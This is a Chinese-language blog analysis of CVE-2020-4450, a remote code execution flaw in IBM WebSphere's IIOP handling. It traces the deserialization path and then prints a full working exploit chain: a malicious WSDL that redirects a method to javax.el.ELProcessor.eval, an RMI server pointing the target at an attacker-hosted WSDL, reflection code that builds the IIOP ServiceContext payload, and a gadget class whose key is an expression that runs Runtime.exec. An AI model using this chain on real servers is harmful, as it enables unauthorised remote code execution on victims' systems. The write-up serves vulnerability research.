Websphere CVE-2020-4450分析

Created: April 7, 2022 2:15 PM
Last Edited Time: April 19, 2022 2:59 PM
Status: Completed 🏁
Type: 漏洞分析

连接iiop时需要关闭ssl

反序列化入口

TXServerInterceptor 拦截器处理 iiop 请求

首先需要满足条件进入漏洞触发点com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request

public void receive_request(ServerRequestInfo sri) {
        if (TraceComponent.isAnyTracingEnabled() && tc.isEntryEnabled()) {
            Tr.entry(tc, "receive_request", "Operation: " + sri.operation());
        }

        ServiceContext serviceContext = ((ExtendedServerRequestInfo)sri).getRequestServiceContext(0);
        TransactionManagerMessage tmm = null;
        boolean validOtsContext = serviceContext != null && serviceContext.context_data != null;
        int contextType = 2;
        boolean joinedTran = true;
         ...........
        if (validOtsContext) {
            if (TraceComponent.isAnyTracingEnabled() && tc.isDebugEnabled()) {
                Tr.debug(tc, "Transaction context found.");
            }

            PropagationContext propagationContext = null;
            if (TxProperties.SINGLE_PROCESS) {
                propagationContext = TxInterceptorHelper.demarshalContext(serviceContext.context_data, (ORB)((LocalObject)sri)._orb());
                contextType = TxInterceptorHelper.determineContextType(propagationContext);
            }

需要保证serviceContext以及serviceContext.context_data不为空

跟进TxInterceptorHelper.*demarshalContext*

这里是Corba rpc 流程中的解包流程 而read_any方法后边会触发反序列化 jdk原生反序列化https://paper.seebug.org/1124/ 这里IBM重新实现了IIOP解析流程所以会和jdk原生处理不一样

具体调用链如下

readObject:513, WSIFPort_EJB (org.apache.wsif.providers.ejb) <-----这个类是找的可利用的类
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:90, NativeMethodAccessorImpl (sun.reflect)
invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
invoke:508, Method (java.lang.reflect)
invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
read_value:787, CDRReader (com.ibm.rmi.iiop)
read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
read_value:664, AnyImpl (com.ibm.rmi.corba)
read_any:467, CDRReader (com.ibm.rmi.iiop)
read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)

因为IBM自身的原因 所以一些公开的利用链无法利用 所以需要基于WSIFPort_EJB这个类找一个可利用的链

利用Apache WSIF

实验WSIF更改程序执行流

WSIF 全称 Web 服务调用框架,是一组用于调用 Web 服务的 Java API。其和 wsdl 描述文件强关联,wsdl 文件用于描述与 Web 服务的抽象结构进行交互,可以理解为 Web 服务 API 的描述文件。

创建接口Gadget

package com.company;

import java.io.IOException;

public interface Gadget {
    public void exec(String command) throws IOException;
}

实现Gadget接口

package com.company;

import java.io.IOException;

public class GadgetImpl implements Gadget {
    @Override
    public void exec(String command) throws IOException {
        System.out.printf(command);
    }
}

main函数

package com.company;
import org.apache.wsif.WSIFException;
import org.apache.wsif.WSIFService;
import org.apache.wsif.WSIFServiceFactory;

public class Main {

    private static void vul(Gadget gadget){
        try {
            gadget.exec("\\"a\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"java.lang.Runtime.getRuntime().exec('calc')\\")");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] args)  {
        try {

            WSIFServiceFactory factory = WSIFServiceFactory.newInstance();
            WSIFService service = factory.getService(
                    "D:\\\\code\\\\java\\\\webspheretest\\\\src\\\\com\\\\company\\\\a.wsdl",
                    null,
                    null,
                    "<http://wsifservice.addressbook/>",
                    "Gadget"
            );
            Gadget stub = (Gadget) service.getStub(Gadget.class);
vul(stub);

        }catch (WSIFException e){
            e.printStackTrace();
        }

    }

}

WSIFServiceFactory.getService()方法说明如下:

  • javax.wsdl.Definition:wsdl 文件的位置
  • portTypeNs:用于标识 port 的 NameSpace,相当于配置的命名空间
  • portTypeName:port 的名字,在 wsdl 中 portType 为接口对象的 xml 表示

a.wsdl文件如下 参考文档https://www.ibm.com/docs/ru/was-nd/8.5.5?topic=services-developing-wsif-service

<definitions targetNamespace="<http://wsifservice.addressbook/>"
             xmlns:tns="<http://wsifservice.addressbook/>"
             xmlns:xsd="<http://www.w3.org/1999/XMLSchema>"
             xmlns:format="<http://schemas.xmlsoap.org/wsdl/formatbinding/>"
             xmlns:java="<http://schemas.xmlsoap.org/wsdl/java/>"
             xmlns="<http://schemas.xmlsoap.org/wsdl/>">

    <message name="ExecRequestMessage">
        <part name="command" type="xsd:string"/>
    </message>

    <portType name="Gadget">
        <operation name="exec">
            <input name="ExecRequest" message="tns:ExecRequestMessage"/>
        </operation>
    </portType>

    <binding name="JavaBinding" type="tns:Gadget">
        <java:binding/>
        <format:typeMapping encoding="Java" style="Java">
            <format:typeMap typeName="xsd:string" formatType="java.lang.String" />
        </format:typeMapping>
        <operation name="exec">
            <java:operation
                methodName="exec"
                parameterOrder="command"
                methodType="instance"
            />
       </operation>
    </binding>

    <service name="GadgetService">
        <port name="JavaPort" binding="tns:JavaBinding">
            <java:address className="com.company.GadgetImpl"/>
        </port>
    </service>
</definitions>

执行效果如下:

将参数打印出来

然后再修改wsdl文件

<definitions targetNamespace="<http://wsifservice.addressbook/>"
             xmlns:tns="<http://wsifservice.addressbook/>"
             xmlns:xsd="<http://www.w3.org/1999/XMLSchema>"
             xmlns:format="<http://schemas.xmlsoap.org/wsdl/formatbinding/>"
             xmlns:java="<http://schemas.xmlsoap.org/wsdl/java/>"
             xmlns="<http://schemas.xmlsoap.org/wsdl/>">

    <message name="ExecRequestMessage">
        <part name="command" type="xsd:string"/>
    </message>

    <portType name="Gadget">
        <operation name="exec">
            <input name="ExecRequest" message="tns:ExecRequestMessage"/>
        </operation>
    </portType>

    <binding name="JavaBinding" type="tns:Gadget">
        <java:binding/>
        <format:typeMapping encoding="Java" style="Java">
            <format:typeMap typeName="xsd:string" formatType="java.lang.String" />
        </format:typeMapping>
        <operation name="exec">
            <java:operation
                methodName="eval"
                parameterOrder="command"
                methodType="instance"
            />
       </operation>
    </binding>

    <service name="GadgetService">
        <port name="JavaPort" binding="tns:JavaBinding">
            <java:address className="javax.el.ELProcessor"/>
        </port>
    </service>
</definitions>

执行效果如下:

这里就会将执行流程引向了javax.el.ELProcessor

gadget

接着上边的反序列化入口

存在一个类org.apache.wsif.providers.ejb.WSIFPort_EJB且这个类的readObject会触发JNDI

重点是在EJBObject()中 可以看到这里有两个 但是homeHandle在后边实现的问题 无法利用

所以最终是利用handle.getEJBObject()

跟进com.ibm.ejs.container.EntityHandle#getEJBObject

调用lookup方法 且homeClass为EJBHome的实现类

然后进入com.ibm.ejs.container.EntityHandle#findFindByPrimaryKey

要求homeClass中存在findFindByPrimaryKey的方法

跟进lookup方法

执行到org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories时

这里的factory可以通过environment自定义实现 最后调用factory.getObjectInstance()方法

这里找到一个org.apache.wsif.naming.WSIFServiceObjectFactory

指定factory为org.apache.wsif.naming.WSIFServiceObjectFactory

跟进org.apache.wsif.naming.WSIFServiceObjectFactory查看

会进入到下边这个分支

再参照

WSIF需要的参数可以通过Reference获取

还可以通过className指定生成的 stub 动态代理对象的类型,将stub设置为EJBHome的实现类 就满足前边的需求了

这里查看实现EJBHome的类

com.ibm.ejs.security.registry.RegistryEntryHome
com.ibm.ws.batch.AbstractResourceHome
com.ibm.ws.batch.CounterHome
com.ibm.ws.batch.LocalJobStatusHome

选择了CounterHome类 因为实现较为简单

构造好wsdl文件让CounterHome中的findByPrimaryKey方法指向javax.el.ELProcessor的eval方法在返回CounterHome对象后,会利用反射调用其findByPrimaryKey方法

Method fbpk = this.findFindByPrimaryKey(homeClass);
this.object = (EJBObject)fbpk.invoke(home, this.key);

构造好的wsdl文件

<?xml version="1.0" ?>

<definitions targetNamespace="<http://wsifservice.addressbook/>"
             xmlns:tns="<http://wsifservice.addressbook/>"
             xmlns:xsd="<http://www.w3.org/1999/XMLSchema>"
             xmlns:format="<http://schemas.xmlsoap.org/wsdl/formatbinding/>"
             xmlns:java="<http://schemas.xmlsoap.org/wsdl/java/>"
             xmlns="<http://schemas.xmlsoap.org/wsdl/>">

    <!-- type defs -->

    <!-- message declns -->
    <message name="findByPrimaryKeyRequest">
        <part name="el" type="xsd:string"/>
    </message>

    <message name="findByPrimaryKeyResponse">
        <part name="counterObject" type="xsd:object"/>
    </message>

    <!-- port type declns -->
    <portType name="Gadget">
        <operation name="findByPrimaryKey">
            <input message="tns:findByPrimaryKeyRequest"/>
            <output message="tns:findByPrimaryKeyResponse"/>
        </operation>
    </portType>

    <!-- binding declns -->
    <binding name="JavaBinding" type="tns:Gadget">
        <java:binding/>
        <format:typeMapping encoding="Java" style="Java">
            <format:typeMap typeName="xsd:string" formatType="java.lang.String"/>
            <format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>
        </format:typeMapping>
        <operation name="findByPrimaryKey">
            <java:operation
                methodName="eval"
                parameterOrder="el"
                methodType="instance"
                returnPart="counterObject"
            />
        </operation>
    </binding>

    <!-- service decln -->
    <service name="GadgetService">
        <port name="JavaPort" binding="tns:JavaBinding">
            <java:address className="javax.el.ELProcessor"/>
        </port>
    </service>

</definitions>

构造RMI Server绑定

package com.company;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.wsif.naming.WSIFServiceStubRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvalRmiServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String) null, (String) null);
        ref.add(new StringRefAddr("wsdlLoc", "<http://192.168.62.212:8000/poc.wsdl>"));
        ref.add(new StringRefAddr("serviceNS", null));
        ref.add(new StringRefAddr("serviceName", null));
        ref.add(new StringRefAddr("portTypeNS", "<http://wsifservice.addressbook/>"));
        ref.add(new StringRefAddr("portTypeName", "Gadget"));
        ref.add(new StringRefAddr("preferredPort", "JavaPort"));
        ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("poc", referenceWrapper);
        System.out.printf("c 1099");
    }
}

构造IIOP数据

回到最开始com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request 要求serviceContext和serviceContext.context_data不为空

先看服务端获取serviceContext的流程

获取serviceContext的代码

ServiceContext serviceContext = ((ExtendedServerRequestInfo)sri).getRequestServiceContext(0);

调用栈为

com.ibm.rmi.iiop.RequestMessage对象中获取 ServiceContext对象

getServiceContext中取id为0的ServiceContext(var1的值为0) 但是因为没有编号为0的ServiceContext 所以返回为空

public ServiceContext getServiceContext(int var1) {
        ServiceContext var2 = null;
        synchronized(this) {
            for(int var4 = 0; var4 < this.serviceContexts.length; ++var4) {
                if (this.serviceContexts[var4].getId() == var1) {
                    var2 = this.serviceContexts[var4];
                    break;
                }
            }
            return var2;
        }
    }

从调用链可以看出serviceContext是从RequestMessage中取出的

然后再看client端的生成 GIOPImpl中调用createRequest

首先生成一个Connection对象 然后根据获取的 Connection 对象获取 ServiceContext

然后在Connection中有设置iceContext的

在createRequest中还会实例化ClientRequestImpl 然后又实例化了RequestMessage 这里就和服务端对应起来了

然后就是通过反射区构造数据 将ServiceContext放入RequestMessage中

由于getConnection需要一些参数 所以先查询一次 初始化之后 通过反射获取到值 然后再调用进行赋值

Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://192.168.62.212:2809");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");

InitialContext context = new InitialContext(env);
context.list("");

Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);

Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);

Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);

Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);

Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);

Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);

GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, com.ibm.rmi.Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "beijixiong404");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);

ArrayList v4 = new ArrayList();

WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);

Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
fieldEjbObject.setAccessible(true);
fieldEjbObject.set(wsifPort_ejb,new EJSWrapperS());

CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(0,
        new TransIdentity(null,null, new otid_t(0,0,new byte[0])),
        new TransIdentity[0],
        any);
PropagationContextHelper.write(outputStream,propagationContext);
byte[] result = outputStream.toByteArray();
ServiceContext serviceContext = new ServiceContext(0, result);
v4.add(serviceContext);
setConnectionContexts.invoke(connection, v4);
context.list("");

构造反序列化数据

Any any = orb.create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(0,
        new TransIdentity(null,null, new otid_t(0,0,new byte[0])),
        new TransIdentity[0],
        any);
PropagationContextHelper.write(outputStream,propagationContext);
byte[] result = outputStream.toByteArray();

这一串代码是因为在

这一块有很多read读数据 然后找一下这里是如何构造的

marshalContext中进行构造 然后参照着重新写一下

构造EntityHandle对象

homeJNDIName需要设置为RMI的地址

key是findFindByPrimaryKey的参数 也就是我们最后要执行的命令

initialContextProperties是需要设置为org.apache.wsif.naming.WSIFServiceObjectFactory

homeJNDIName和key是在BeanId中生成

整体思路:

  • 实例化 EJSHome 接口实现类
  • 实例化 J2EEName 对象
  • 反射设置 J2EEName 到 EJSHome 接口实现类
  • 反射设置 EJSHome 接口实现类的 this.jndiName 变量为 RMI Server 的地址
  • 实例化 BeanId
  • 实例化 BeanMetaData
  • 实例化 Properties

具体代码如下

class EJSWrapperS extends EJSWrapper {
    @Override
    public Handle getHandle() throws RemoteException {
        Handle var2 = null;
        try {
            SessionHome sessionHome = new SessionHome();
            J2EEName j2EEName = new J2EENameImpl("aa", "aa", "aa");
            Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");
            j2eeName.setAccessible(true);
            j2eeName.set(sessionHome, j2EEName);
            Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");
            jndiName.setAccessible(true);
            jndiName.set(sessionHome, "rmi://192.168.52.128:1099/poc");
            Serializable key = "\\"a\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"java.lang.Runtime.getRuntime().exec('calc')\\")";
            BeanId beanId = new BeanId(sessionHome, key, true);
            BeanMetaData beanMetaData = new BeanMetaData(1);
            beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;
            Properties initProperties = new Properties();
            initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");
            Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);
            c.setAccessible(true);
            var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return var2;
    }
}

Websphere CVE-2020-4450分析
http://example.com/2022/11/11/安全研究/Java安全/漏洞分析/Websphere CVE-2020-4450分析/
作者
Autumn
发布于
2022年11月11日
许可协议